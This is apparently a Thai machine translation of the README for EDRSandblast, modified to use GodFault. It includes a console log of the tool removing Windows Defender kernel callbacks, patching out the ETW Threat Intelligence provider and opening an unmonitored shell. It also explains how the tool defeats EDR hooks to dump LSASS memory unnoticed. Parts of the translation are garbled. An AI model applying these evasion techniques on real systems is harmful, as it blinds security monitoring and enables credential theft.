โดย Gabriel Landau จาก Elastic Security การดัดแปลง EDRSandblast - ดู README ดั้งเดิมด้านล่าง
ผสานรวม GodFault เข้ากับ EDR Sandblast เพื่อให้ได้ผลลัพธ์เดียวกันโดยไม่ต้องใช้ไดรเวอร์ที่มีช่องโหว่ใดๆ
C:UsersuserDesktopOffsets>EDRSandblast.exe --kernelmode cmd
______ _____ _____ _____ _ _ _ _
| ____| __ | __ / ____| | | | | | | |
| |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_
| __| | | | | _ / ___ / _` | '_ / _` | '_ | |/ _` / __| __|
| |____| |__| | | ____) | (_| | | | | (_| | |_) | | (_| __ | |_
|______|_____/|_| _|_____/ __,_|_| |_|__,_|_.__/|_|__,_|___/__|
D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 2684
[?] Server does not appear to be running. Attempting to install it...
[+] CSRSS PID is 748
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] Found a total of 2 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Enabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR and is enabled!
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are present !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!
[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...
[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00.
[+] [ETWTI] The ETW Threat Intel provider was successfully disabled!
[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...
[+] [NotifyRountines] Removing process creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0]
[+] [NotifyRountines] Removing thread creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0]
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350]
[+] [NotifyRountines] Removing image loading callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]
[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...
[+] [ObjectCallblacks] Disabling WdFilter.sys callback...
[+] All EDR drivers were successfully removed from Kernel callbacks!
==================================================
Starting a new unmonitored process...
==================================================
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 8344
[+] Thread 8344 (KTHREAD FFFF91096169F080) has been blessed by GodFault
[+] Initial blessing successful
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] No EDR driver(s) found!
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Disabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR but is disabled.
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are not found !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!
[+] Process is "safe" to launch our payload
[+] Kernel callbacks have normally been removed, starting cmd.exe
WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)
WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!
Microsoft Windows [Version 10.0.22621.1702]
(c) Microsoft Corporation. All rights reserved.
C:UsersuserDesktopOffsets>
- README ดั้งเดิมด้านล่าง?
EDRSandBlast
เป็นเครื่องมือที่เขียนด้วย C
ที่สร้างอาวุธให้กับไดรเวอร์ที่มีลายเซ็นต์ที่มีช่องโหว่เพื่อหลีกเลี่ยงการตรวจจับ EDR (แจ้งเตือนการโทรกลับประจำ, การโทรกลับวัตถุ และผู้ให้บริการ ETW TI
) และการป้องกัน LSASS
มีการนำเทคนิคการปลดตะขอออกของ Userland หลายแบบเพื่อหลบเลี่ยงการตรวจสอบ Userland
ในการเปิดตัว การผสมผสานระหว่างเทคนิค userland ( --usermode
) และ Kernel-land ( --kernelmode
) ถูกนำมาใช้เพื่อดัมพ์หน่วยความจำ LSASS
ภายใต้การตรวจสอบ EDR โดยไม่ถูกบล็อกหรือสร้างเหตุการณ์ที่เกี่ยวข้องกับ "OS Credential Dumping" ในผลิตภัณฑ์ (คลาวด์ ) คอนโซล การทดสอบดำเนินการกับผลิตภัณฑ์ EDR ที่แตกต่างกัน 3 รายการ และประสบความสำเร็จในแต่ละกรณี
ผลิตภัณฑ์ EDR ใช้การเรียกกลับ Kernel "Notify Routines" บน Windows เพื่อรับการแจ้งเตือนจากเคอร์เนลของกิจกรรมของระบบ เช่น กระบวนการและการสร้างเธรด และการโหลดรูปภาพ ( exe
/ DLL
)
การเรียกกลับเคอร์เนลเหล่านี้ถูกกำหนดจากเคอร์เนลแลนด์ โดยปกติจะมาจากไดรเวอร์ที่ใช้การเรียกกลับ โดยใช้ API ที่ได้รับการบันทึกไว้จำนวนหนึ่ง ( nt!PsSetCreateProcessNotifyRoutine
, nt!PsSetCreateThreadNotifyRoutine
ฯลฯ) API เหล่านี้เพิ่มรูทีนการโทรกลับที่ไดรเวอร์ให้มาให้กับอาเรย์ของรูทีนที่ไม่มีเอกสารใน Kernel-space:
PspCreateProcessNotifyRoutine
สำหรับการสร้างกระบวนการPspCreateThreadNotifyRoutine
สำหรับการสร้างเธรดPspLoadImageNotifyRoutine
สำหรับการโหลดรูปภาพ EDRSandBlast
ระบุรูทีนที่กำหนดไว้ในอาร์เรย์เหล่านั้น และลบรูทีนการเรียกกลับใดๆ ที่เชื่อมโยงกับรายการไดรเวอร์ EDR ที่กำหนดไว้ล่วงหน้า (ไดรเวอร์มากกว่า 1,000 รายการของผลิตภัณฑ์รักษาความปลอดภัยที่รองรับ โปรดดูส่วนการตรวจจับไดรเวอร์ EDR การแจงนับและการลบสามารถทำได้ผ่านการใช้ประโยชน์จาก หน่วยความจำเคอร์เนลตามอำเภอใจอ่าน / เขียนดั้งเดิมที่ได้รับจากการใช้ประโยชน์จากไดรเวอร์ที่มีช่องโหว่ (ดูหัวข้อไดรเวอร์ที่มีช่องโหว่)
ออฟเซ็ตของอาร์เรย์ที่กล่าวมาข้างต้นจะถูกกู้คืนโดยใช้เทคนิคต่างๆ โปรดดูที่ส่วนออฟเซ็ต
ผลิตภัณฑ์ EDR (และแม้แต่ EPP) มักจะลงทะเบียน "Object callbacks" ผ่านการใช้ nt!ObRegisterCallbacks
kernel API การเรียกกลับเหล่านี้ช่วยให้ผลิตภัณฑ์รักษาความปลอดภัยได้รับการแจ้งเตือนในแต่ละรุ่นของแฮนเดิลในประเภทออบเจ็กต์เฉพาะ (ขณะนี้ Windows รองรับการเรียกกลับของออบเจ็กต์ที่เกี่ยวข้องกับกระบวนการ เธรด และเดสก์ท็อปแล้ว) การสร้างหมายเลขอ้างอิงอาจเกิดขึ้นในการเปิดวัตถุ (การเรียก OpenProcess
, OpenThread
ฯลฯ ) เช่นเดียวกับการจัดการที่ซ้ำกัน (การเรียกไปยัง DuplicateHandle
ฯลฯ )
เมื่อได้รับแจ้งจากเคอร์เนลในแต่ละการดำเนินการเหล่านี้ ผลิตภัณฑ์รักษาความปลอดภัยอาจวิเคราะห์ความถูกต้องของการสร้างหมายเลขอ้างอิง ( เช่น กระบวนการที่ไม่รู้จักกำลังพยายามเปิด LSASS ) และแม้แต่บล็อกหากตรวจพบภัยคุกคาม
ในการลงทะเบียนการโทรกลับแต่ละครั้งโดยใช้ ObRegisterCallbacks
รายการใหม่จะถูกเพิ่มไปยังรายการลิงก์คู่ CallbackList
ที่มีอยู่ในอ็อบเจ็กต์ _OBJECT_TYPE
ซึ่งอธิบายประเภทของอ็อบเจ็กต์ที่ได้รับผลกระทบจากการโทรกลับ (กระบวนการ เธรด หรือเดสก์ท็อป) ขออภัย รายการเหล่านี้อธิบายโดยโครงสร้างที่ Microsoft ไม่ได้จัดทำเป็นเอกสารหรือเผยแพร่ในไฟล์สัญลักษณ์ อย่างไรก็ตาม จากการศึกษาจาก ntoskrnl.exe
เวอร์ชันต่างๆ ดูเหมือนว่าโครงสร้างจะไม่เปลี่ยนแปลงระหว่าง (อย่างน้อย) Windows 10 บิวด์ 10240 และ 22000 (ตั้งแต่ปี 2015 ถึง 2022)
โครงสร้างที่กล่าวถึงซึ่งแสดงถึงการลงทะเบียนการเรียกกลับวัตถุมีดังต่อไปนี้:
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList ; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations ; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled ; // self-explanatory
OB_CALLBACK * Entry ; // points to the structure in which it is included
POBJECT_TYPE ObjectType ; // points to the object type affected by the callback
POB_PRE_OPERATION_CALLBACK PreOperation ; // callback function called before each handle operation
POB_POST_OPERATION_CALLBACK PostOperation ; // callback function called after each handle operation
KSPIN_LOCK Lock ; // lock object used for synchronization
} OB_CALLBACK_ENTRY ;
โครงสร้าง OB_CALLBACK
ที่กล่าวถึงข้างต้นยังไม่มีเอกสาร และถูกกำหนดโดยสิ่งต่อไปนี้:
typedef struct OB_CALLBACK_t {
USHORT Version ; // usually 0x100
USHORT OperationRegistrationCount ; // number of registered callbacks
PVOID RegistrationContext ; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString ; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems [ 1 ]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer [ 1 ]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK ;
เพื่อปิดการใช้งานการเรียกกลับวัตถุที่ลงทะเบียนโดย EDR จะมีการปรับใช้เทคนิคสามประการใน EDRSandblast
อย่างไรก็ตาม มีเพียงอันเดียวที่เปิดใช้งานอยู่ในขณะนี้
Enabled
ของ OB_CALLBACK_ENTRY
นี่เป็นเทคนิคเริ่มต้นที่เปิดใช้งานใน EDRSandblast
เพื่อตรวจจับและปิดใช้งานการเรียกกลับออบเจ็กต์ที่เกี่ยวข้องกับ EDR รายการ CallbackList
ที่อยู่ในออบเจ็กต์ _OBJECT_TYPE
ที่เชื่อมโยงกับประเภท กระบวนการ และ เธรด จะถูกเรียกดู _OBJECT_TYPE
ทั้งสองถูกชี้โดยสัญลักษณ์ส่วนกลางสาธารณะในเคอร์เนล PsProcessType
และ PsThreadType
แต่ละรายการในรายการจะถือว่าเหมาะสมกับโครงสร้าง OB_CALLBACK_ENTRY
ที่อธิบายไว้ข้างต้น (สมมติฐานที่ดูเหมือนว่าจะมีอย่างน้อยใน Windows 10 บิลด์ทั้งหมดในขณะที่เขียน) ฟังก์ชันที่กำหนดไว้ในฟิลด์ PreOperation
และ PostOperation
มีไว้เพื่อตรวจสอบว่าเป็นของไดรเวอร์ EDR หรือไม่ และหากเป็นเช่นนั้น การโทรกลับจะถูกปิดใช้งานเพียงสลับการตั้งค่าสถานะ Enabled
แม้ว่าจะเป็นเทคนิคที่ค่อนข้างปลอดภัย แต่ก็ไม่สะดวกที่จะพึ่งพาโครงสร้างที่ไม่มีเอกสาร เพื่อลดความเสี่ยงของการจัดการโครงสร้างนี้อย่างไม่ปลอดภัย การตรวจสอบพื้นฐานจะดำเนินการเพื่อตรวจสอบว่าบางฟิลด์มีค่าที่คาดหวัง :
Enabled
อาจเป็น TRUE
หรือ FALSE
( อย่าหัวเราะ BOOL
เป็น int
ดังนั้นอาจเป็นอย่างอื่นที่ไม่ใช่ 1
หรือ 0
)Operations
คือ OB_OPERATION_HANDLE_CREATE
, OB_OPERATION_HANDLE_DUPLICATE
หรือทั้งสองอย่างObjectType
ชี้ไปที่ PsProcessType
หรือ PsThreadType
CallbackList
ของเธรดและกระบวนการ กลยุทธ์อื่นที่ไม่ขึ้นอยู่กับโครงสร้างที่ไม่มีเอกสาร (และในทางทฤษฎีจึงแข็งแกร่งกว่าต่อการเปลี่ยนแปลงเคอร์เนล NT) คือการยกเลิกการเชื่อมโยงของ CallbackList
ทั้งหมดสำหรับทั้งกระบวนการและเธรด วัตถุ _OBJECT_TYPE
มีดังต่อไปนี้:
struct _OBJECT_TYPE {
LIST_ENTRY TypeList ;
UNICODE_STRING Name ;
[...]
_OBJECT_TYPE_INITIALIZER TypeInfo ;
[...]
LIST_ENTRY CallbackList ;
}
การทำให้ตัวชี้ Flink
และ Blink
ของ CallbackList
LIST_ENTRY
ชี้ไปที่ LIST_ENTRY
ทำให้รายการว่างเปล่าได้อย่างมีประสิทธิภาพ เนื่องจากโครงสร้าง _OBJECT_TYPE
ได้รับการเผยแพร่ในสัญลักษณ์เคอร์เนล เทคนิคนี้จึงไม่ขึ้นอยู่กับออฟเซ็ต/โครงสร้างแบบฮาร์ดโค้ด แต่ก็มีข้อเสียอยู่บ้าง
สิ่งแรกไม่สามารถปิดการใช้งานการโทรกลับจาก EDR เท่านั้น แน่นอนว่าเทคนิคนี้ส่งผลต่อการเรียกกลับออบเจ็กต์ทั้งหมดที่สามารถลงทะเบียนโดยซอฟต์แวร์ "ถูกต้องตามกฎหมาย" อย่างไรก็ตาม ควรสังเกตว่าคอมโพเนนต์ที่ติดตั้งไว้ล่วงหน้าใน Windows 10 ไม่ได้ใช้การเรียกกลับของวัตถุ (ในขณะที่เขียน) ดังนั้นการปิดใช้งานจึงไม่ส่งผลกระทบต่อความเสถียรของเครื่อง (ยิ่งไปกว่านั้นหากการปิดใช้งานเป็นเพียงชั่วคราว)
ข้อเสียเปรียบประการที่สองคือการดำเนินการจัดการกระบวนการหรือเธรดนั้นบ่อยครั้งมาก (เกือบต่อเนื่อง) ในการทำงานปกติของระบบปฏิบัติการ ด้วยเหตุนี้ หากเคอร์เนลการเขียนแบบดั้งเดิมที่ใช้ไม่สามารถเขียน QWORD
แบบ "อะตอมมิก" ได้ ก็มีโอกาสที่ดีที่ตัวชี้ _OBJECT_TYPE.CallbackList.Flink
จะเข้าถึงได้โดยเคอร์เนลในระหว่างที่มีการเขียนทับ ตัวอย่างเช่น ไดรเวอร์ที่มีช่องโหว่ของ MSI RTCore64.sys
สามารถทำการเขียน DWORD
ได้ในแต่ละครั้งเท่านั้น ดังนั้นจึงจำเป็นต้องใช้ IOCTL ที่แตกต่างกัน 2 ตัวเพื่อเขียนทับตัวชี้ ซึ่งระหว่างนั้นเคอร์เนลมีโอกาสสูงที่จะใช้งาน (ส่งผลให้เกิดความผิดพลาด) ในทางกลับกัน DBUtil_2_3.sys
ไดรเวอร์ DELL ที่มีช่องโหว่สามารถทำการเขียนขนาดใดก็ได้ใน IOCTL เดียว ดังนั้นการใช้วิธีนี้จึงไม่เสี่ยงที่จะทำให้เกิดความผิดพลาด
เทคนิคสุดท้ายที่เราพบคือการปิดใช้งานการสนับสนุนการเรียกกลับของวัตถุทั้งหมดสำหรับเธรดและกระบวนการ ภายในโครงสร้าง _OBJECT_TYPE
ที่สอดคล้องกับกระบวนการและประเภทเธรดจะมีฟิลด์ TypeInfo
ตามโครงสร้าง _OBJECT_TYPE_INITIALIZER
ที่ได้รับการบันทึกไว้ ส่วนหลังประกอบด้วยฟิลด์บิต ObjectTypeFlags
ซึ่งแฟล็ก SupportsObjectCallbacks
กำหนดว่าประเภทอ็อบเจ็กต์ที่อธิบายไว้ (กระบวนการ, เธรด, เดสก์ท็อป, โทเค็น, ไฟล์ ฯลฯ ) รองรับการลงทะเบียนการเรียกกลับของวัตถุหรือไม่ ตามที่ระบุไว้ก่อนหน้านี้ เฉพาะประเภทออบเจ็กต์กระบวนการ เธรด และเดสก์ท็อปเท่านั้นที่รองรับการเรียกกลับเหล่านี้ในการติดตั้ง Windows ในขณะที่เขียน
เนื่องจากบิต SupportsObjectCallbacks
ได้รับการตรวจสอบโดย ObpCreateHandle
หรือ ObDuplicateObject
ก่อนที่จะอ่าน CallbackList
(และก่อนที่จะดำเนินการเรียกกลับแน่นอน) การพลิกบิตที่รันไทม์เคอร์เนลจะปิดใช้งานการดำเนินการเรียกกลับของวัตถุทั้งหมดได้อย่างมีประสิทธิภาพ
ข้อเสียเปรียบหลักของวิธีนี้คือ KPP (" PatchGuard ") ตรวจสอบความสมบูรณ์ของโครงสร้างบางส่วน (ทั้งหมด ?) _OBJECT_TYPE
และทริกเกอร์ 0x109 Bug Check
ด้วยพารามิเตอร์ 4 เท่ากับ 0x8
ซึ่งหมายความว่าโครงสร้างประเภทวัตถุมีการเปลี่ยนแปลง
อย่างไรก็ตาม การดำเนินการปิดใช้งาน / เปิดใช้งานใหม่ (และการดำเนินการ "ที่เป็นอันตราย" ระหว่างนั้น) อย่างรวดเร็วเพียงพอควรจะเพียงพอที่จะ "แข่งขัน" PatchGuard ได้ (เว้นแต่คุณจะโชคไม่ดีและมีการตรวจสอบเป็นระยะในช่วงเวลาที่ไม่ถูกต้อง)
ผู้ให้บริการ ETW Microsoft-Windows-Threat-Intelligence
จะบันทึกข้อมูลเกี่ยวกับการใช้งาน Windows API บางตัวที่มักใช้ในทางที่ผิด ซึ่งรวมถึง nt!MiReadWriteVirtualMemory
API ที่ถูกเรียกโดย nt!NtReadVirtualMemory
(ซึ่งใช้ในการดัมพ์หน่วยความจำ LSASS
) และตรวจสอบโดยฟังก์ชัน nt!EtwTiLogReadWriteVm
ผลิตภัณฑ์ EDR สามารถใช้บันทึกที่ผลิตโดยผู้ให้บริการ ETW TI
ผ่านบริการหรือกระบวนการที่ทำงานเป็น SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
หรือ PS_PROTECTED_ANTIMALWARE_LIGHT
ตามลำดับ และเชื่อมโยงกับไดรเวอร์ Early Launch Anti Malware (ELAM)
ตามที่เผยแพร่โดย slaeryan
ในบล็อกโพสต์ CNO Development Labs
ผู้ให้บริการ ETW TI
สามารถปิดใช้งานพร้อมกันได้โดยการแพตช์ในหน่วยความจำเคอร์เนล แอตทริบิวต์ ProviderEnableInfo
เป็น 0x0
อ้างถึงโพสต์บนบล็อกที่ดีดังกล่าวสำหรับข้อมูลเพิ่มเติมเกี่ยวกับเทคนิคนี้
ในทำนองเดียวกันกับการลบ Kernel callbacks ค่าชดเชย ntoskrnl.exe
ที่จำเป็น ( nt!EtwThreatIntProvRegHandleOffset
, _ETW_REG_ENTRY
's GuidEntry
และ _ETW_GUID_ENTRY
's ProviderEnableInfo
) จะถูกคำนวณในไฟล์ NtoskrnlOffsets.csv
สำหรับ Windows Kernel หลายเวอร์ชัน
เพื่อให้ง่ายต่อการตรวจสอบการกระทำที่ดำเนินการโดยกระบวนการ ผลิตภัณฑ์ EDR มักจะปรับใช้กลไกที่เรียกว่า userland hooking ขั้นแรก ผลิตภัณฑ์ EDR จะลงทะเบียนการเรียกกลับเคอร์เนล (โดยปกติคือ การโหลดรูปภาพ หรือการเรียกกลับ การสร้างกระบวนการ ดูด้านบน) ซึ่งช่วยให้สามารถรับการแจ้งเตือนเมื่อแต่ละกระบวนการเริ่มต้น
เมื่อ Windows โหลดกระบวนการ และก่อนที่จะเริ่มกระบวนการจริง EDR จะสามารถแทรก DLL แบบกำหนดเองบางส่วนลงในพื้นที่ที่อยู่ของกระบวนการ ซึ่งมีตรรกะการตรวจสอบ ขณะโหลด DLL นี้จะแทรก " hooks " ที่จุดเริ่มต้นของทุกฟังก์ชันที่จะตรวจสอบโดย EDR ในขณะรันไทม์ เมื่อกระบวนการภายใต้การเฝ้าระวังเรียกใช้ฟังก์ชันที่ถูกตรวจสอบ ฮุคเหล่านี้จะเปลี่ยนเส้นทางโฟลว์การควบคุมไปยังโค้ดการควบคุมดูแลบางส่วนที่มีอยู่ใน DLL ของ EDR ซึ่งช่วยให้สามารถตรวจสอบอาร์กิวเมนต์และส่งกลับค่าของการเรียกเหล่านี้ได้
ส่วนใหญ่แล้ว ฟังก์ชันที่ได้รับการตรวจสอบคือการเรียกของระบบ (เช่น NtReadVirtualMemory
, NtOpenProcess
เป็นต้น) ซึ่งมีการใช้งานอยู่ใน ntdll.dll
การสกัดกั้นการเรียกฟังก์ชัน Nt*
ช่วยให้ผลิตภัณฑ์อยู่ใกล้กับขอบเขตพื้นที่ผู้ใช้ / เคอร์เนล-แลนด์มากที่สุดเท่าที่จะเป็นไปได้ (ในขณะที่ยังคงอยู่ในพื้นที่ผู้ใช้) แต่ฟังก์ชันจาก DLL ระดับสูงกว่าบางรายการก็อาจได้รับการตรวจสอบเช่นกัน
ด้านล่างนี้เป็นตัวอย่างของฟังก์ชันเดียวกัน ก่อนและหลังการเชื่อมต่อกับผลิตภัณฑ์ EDR:
NtProtectVirtualMemory proc near
mov r10 , rcx
mov eax , 50h
test byte ptr ds : 7FFE0308h , 1
jnz short loc_18009D1E5
syscall
retn
loc_18009D1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
NtProtectVirtualMemory proc near
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
int 3 ; overwritten instructions
int 3 ; overwritten instructions
int 3 ; overwritten instructions
test byte_7FFE0308 , 1 ; <-- execution resumes here after analysis
jnz short loc_7FFCB44AD1E5
syscall
retn
loc_7FFCB44AD1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
Userland hooks มี "จุดอ่อน" ที่จะอยู่ในหน่วยความจำ userland ซึ่งหมายความว่าสามารถสังเกตและแก้ไขได้โดยตรงโดยกระบวนการภายใต้การพิจารณาอย่างละเอียด ในการตรวจจับ hooks ในพื้นที่แอดเดรสของกระบวนการโดยอัตโนมัติ แนวคิดหลักคือการเปรียบเทียบความแตกต่างระหว่าง DLL ดั้งเดิมบนดิสก์และไลบรารีที่อยู่ในหน่วยความจำ ซึ่งอาจมีการเปลี่ยนแปลงโดย EDR หากต้องการดำเนินการเปรียบเทียบนี้ ให้ทำตามขั้นตอนต่อไปนี้ด้วย EDRSandblast:
InLoadOrderModuleList
ที่อยู่ใน PEB
(เพื่อหลีกเลี่ยงการเรียก API ใดๆ ที่สามารถตรวจสอบได้และน่าสงสัย) หมายเหตุ: กระบวนการนี้สามารถสรุปได้ทั่วไปเพื่อค้นหาความแตกต่างที่ใดก็ได้ในส่วนที่ไม่สามารถเขียนได้ และไม่เพียงแต่ที่จุดเริ่มต้นของฟังก์ชันที่ส่งออกเท่านั้น ตัวอย่างเช่น หากผลิตภัณฑ์ EDR เริ่มใช้ hooks ตรงกลางฟังก์ชัน :) ดังนั้นเครื่องมือจึงไม่ได้ใช้ สิ่งนี้ ได้รับการนำไปใช้ใน findDiffsInNonWritableSections
เพื่อหลีกเลี่ยงการตรวจสอบที่ดำเนินการโดย hooks เหล่านี้ สามารถใช้เทคนิคหลายรายการได้ และแต่ละเทคนิคก็มีข้อดีและข้อเสีย
วิธีที่ใช้งานง่ายที่สุดในการเลี่ยงผ่านการมอนิเตอร์แบบ hook คือการถอด hook ออก เนื่องจาก hooks มีอยู่ในหน่วยความจำที่กระบวนการสามารถเข้าถึงได้ ในการถอด hook กระบวนการสามารถทำได้ง่ายๆ:
วิธีนี้ค่อนข้างง่าย และสามารถใช้เพื่อลบ hook ทุกตัวที่ตรวจพบได้ในคราวเดียว ดำเนินการโดยเครื่องมือที่ไม่เหมาะสมตั้งแต่เริ่มต้น ซึ่งจะทำให้โค้ดที่เหลือไม่ทราบถึงกลไกการเกี่ยวเบ็ดโดยสิ้นเชิง และทำงานได้ตามปกติโดยไม่ได้รับการตรวจสอบ
อย่างไรก็ตาม มันมีข้อเสียเปรียบหลักสองประการ EDR อาจกำลังติดตามการใช้ NtProtectVirtualMemory
ดังนั้นการใช้มันเพื่อเปลี่ยนการอนุญาตของเพจที่ติดตั้ง hooks จึงเป็นความคิดที่ไม่ดี (อย่างน้อยก็ในแนวความคิด) นอกจากนี้ หากเธรดถูกดำเนินการโดย EDR และตรวจสอบความสมบูรณ์ของ hooks เป็นระยะ สิ่งนี้อาจทำให้เกิดการตรวจจับบางอย่างได้เช่นกัน
สำหรับรายละเอียดการใช้งาน ให้ตรวจสอบเส้นทางโค้ดของฟังก์ชัน unhook()
เมื่อ unhook_method
เป็น UNHOOK_WITH_NTPROTECTVIRTUALMEMORY
หมายเหตุสำคัญ: เพื่อความง่าย เทคนิคนี้จะถูกนำมาใช้ใน EDRSandblast เป็นเทคนิคพื้นฐานที่ใช้เพื่อ แสดง เทคนิคบายพาสอื่นๆ แต่ละรายการสาธิตวิธีรับ NtProtectVirtualMemory
เวอร์ชันที่ไม่ได้รับการตรวจสอบ แต่ดำเนินการแบบเดียวกันหลังจากนั้น (ปลดตะขอเฉพาะ)
